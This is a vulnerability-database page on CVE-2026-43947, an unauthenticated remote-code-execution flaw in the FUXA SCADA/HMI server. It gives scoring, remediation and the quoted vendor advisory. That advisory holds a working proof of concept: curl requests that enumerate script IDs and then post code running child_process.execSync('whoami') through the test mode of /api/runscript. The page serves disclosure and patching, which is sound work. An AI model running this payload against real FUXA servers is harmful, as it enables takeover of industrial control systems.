Skip to main content

FUXA CVE-2026-43947

HIGH
Incorrect Authorization (CWE-863)
2026-05-26 https://github.com/frangoteam/FUXA GHSA-rg3m-cfq7-g6h6
8.9
CVSS 4.0 · Vendor: https://github.com/frangoteam/FUXA
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach network-exposed FUXA API
  2. Delivery
    Enumerate script IDs via GET /api/project
  3. Exploit
    POST /api/runscript with test:true and code
  4. Execution
    Module._compile runs attacker code
  5. Persist
    execSync via child_process
  6. Impact
    RCE as FUXA server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that FUXA is running with secureEnabled set to true, that at least one server-side script exists in the project, and that this script has no restrictive permission field (permission unset or 0) so the guest passes the authorization check. The attacker must also know a valid script ID and name, obtainable from the separately reported unauthenticated information disclosure in GET /api/project. The request must set test:true so that test mode compiles and runs the attacker's code field. Limiting factors: instances with no server-side scripts, or where every script has restrictive permissions blocking guest access, are not exploitable; the FUXA server must also be network-reachable. No user interaction or authentication is required (PR:N/UI:N).

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N, VC/VI/VA:H) with base 8.9 accurately reflects unauthenticated, low-complexity network RCE with high confidentiality, integrity, and availability impact - consistent with the CWE-863 authorization bypass and the vendor PoC. The exploit maturity flag E:P (Proof-of-Concept) matches the working curl PoC in the advisory. Signals are broadly consistent rather than conflicting: high CVSS, a public PoC, and a confirmed vendor patch all point to a genuine priority. The one moderating factor is the EPSS score of 0.59% (70th percentile), which is only moderate and reflects that this is not (yet) in CISA KEV and that exploitation depends on FUXA being internet-reachable AND at least one server-side script with non-restrictive permissions existing AND secureEnabled being true. Net: a real, actionable priority for anyone running FUXA 1.3.0 with server-side scripts exposed, tempered by FUXA's niche industrial footprint and the required (but common-by-default) preconditions.

Exploit ScenarioDerived

An attacker scans for internet-exposed FUXA instances, calls the unauthenticated GET /api/project to enumerate script IDs and names, then sends a single unauthenticated POST /api/runscript with test:true and a code payload such as require('child_process').execSync('whoami'). Given AV:N/AC:L/PR:N/UI:N, no credentials or user interaction are needed, and the command runs on the FUXA host with the server process's privileges - a working PoC is published in the vendor advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Jul 21, 2026

Remote code execution in FUXA SCADA/HMI server version 1.3.0 lets unauthenticated attackers run arbitrary OS commands when secureEnabled is true, by abusing the POST /api/runscript endpoint's test mode. The endpoint authorizes against a stored script's permission, but with test:true it compiles and runs attacker-supplied code instead, so a guest who knows any low-permission script's ID and name (leaked via the unauthenticated GET /api/project endpoint) achieves full RCE. A working PoC exists in the vendor advisory and the flaw is fixed in v1.3.1; EPSS is a moderate 0.59% (70th percentile), and there is no public exploit identified beyond the advisory PoC and no active exploitation confirmed.

Earlier versions of this analysis (1)
v1 May 27, 2026 - 00:01

Unauthenticated remote code execution in FUXA 1.3.0 (the fuxa-server npm package) lets any network-reachable attacker run arbitrary OS commands on the SCADA/HMI host when secureEnabled is true. The POST /api/runscript endpoint authorizes a request against a stored script's permission, but with test:true it instead compiles and runs attacker-supplied code via Node's Module._compile, so a guest who knows a valid script ID and name (leaked via the unauthenticated GET /api/project endpoint) can execute code with full Node runtime access. Publicly available exploit code exists in the vendor advisory; no CVSS, EPSS, or CISA KEV data is provided.

RemediationAI

Vendor-released patch: upgrade FUXA to version 1.3.1, which is the fixed release (https://github.com/frangoteam/FUXA/releases/tag/v1.3.1); the fix hardens the isAuthorised default to return false, corrects the unauthorized response handling, and tightens the Node-RED public-route allowance (see PR https://github.com/frangoteam/FUXA/pull/2260 and commit 78534da61a91613712b44bb63c8d7da8c5df5ca4). If you cannot upgrade immediately, reduce exposure by placing FUXA behind a reverse proxy or firewall so /api/runscript and /api/project are not reachable by untrusted networks (trade-off: breaks any legitimate remote/anonymous dashboard use), and by setting a restrictive permission value on every server-side script so guest access is denied (trade-off: guest/anonymous dashboards that legitimately call those scripts will stop working). Removing all server-side scripts also eliminates the precondition but may break dashboard logic. These are compensating controls only - upgrading to 1.3.1 is the durable fix.

Affected Packages

npm fuxa-server fix: 1.3.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FUXA is a Node.js-based web SCADA/HMI and IIoT platform (npm package fuxa-server) used to build operator dashboards and connect to industrial devices. The root cause is CWE-863 (Incorrect Authorization), a confused-deputy: in server/runtime/scripts/index.js the isAuthorised function resolves the stored script by ID and checks that script's permission field (!st.permission || st.permission & permission), so a stored script with no permission or permission 0 passes for any caller. Meanwhile the JWT middleware in server/api/jwt-helper.js auto-issues a valid guest token when none is supplied, so requests reach the handler as userId:"guest". When test:true is set, runTestScript in server/runtime/scripts/msm.js takes the request's code field, compiles it with Node's Module._compile, and executes it with full access to require, child_process, and fs - meaning the authorization decision (on the stored script) and the executed payload (the attacker's code) are decoupled.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/frangoteam/FUXA) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
vuln.today AI 9.8 CRITICAL

Unauthenticated network RCE with no user interaction (guest auto-auth plus permissionless script), so AV:N/AC:L/PR:N/UI:N; arbitrary code execution yields full C/I/A high, scope unchanged as code runs within the FUXA process.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/frangoteam/FUXA).

CVSS VectorVendor: https://github.com/frangoteam/FUXA

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Analysis Updated
Jul 21, 2026 - 22:31 vuln.today
v2 - CVSS changed
CVSS changed
Jul 21, 2026 - 22:26 NVD
8.9 (HIGH)

DescriptionCVE.org

Summary

An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.

Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).

The only prerequisite is that at least one server-side script exists in the project.

Details

Authorization confused deputy in script execution

File: server/runtime/scripts/index.js, lines 86-103

The authorization check looks up the stored script by ID and validates the stored script's permission field:

javascript
this.isAuthorised = function (_script, permission) {
    const st = scriptModule.getScript(_script);  // finds stored script by _script.id
    if (admin || (st && (!st.permission || st.permission & permission))) {
        return true;
    }
    return false;
}

When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.

Guest auto-authentication in the middleware

File: server/api/jwt-helper.js, lines 46-72

The verifyToken middleware generates a valid guest JWT when no token is provided:

javascript
if (!token) {
    token = getGuestToken();
}

The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.

Test mode executes attacker-supplied code

File: server/runtime/scripts/msm.js

When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.

PoC

Requires an existing server-side script accessible without restrictive permissions.

Step 1: Retrieve script IDs from the unauthenticated project endpoint

bash
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'
json
{
  "id": "legit-001",
  "name": "calculate",
}
{
  "id": "s_42a888fa-8e3d4213",
  "name": "subs",
}

Step 2: Execute whoami without authentication

Using the script ID and name from step 1:

bash
curl -s -X POST http://192.168.32.129:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'

Impact

Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.

Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.

This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.

Executive ViewAI

Why It Matters

FUXA SCADA/HMI server version 1.3.0 is vulnerable to unauthenticated remote code execution, enabling attackers to gain full system control over industrial control environments. Organizations relying on FUXA for operational monitoring or control of critical infrastructure face direct risk of production disruption and potential safety incidents.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 30% exploitable
Prevalence
Low
niche open-source industrial SCADA/HMI platform, limited enterprise footprint
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/fuxa-server
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy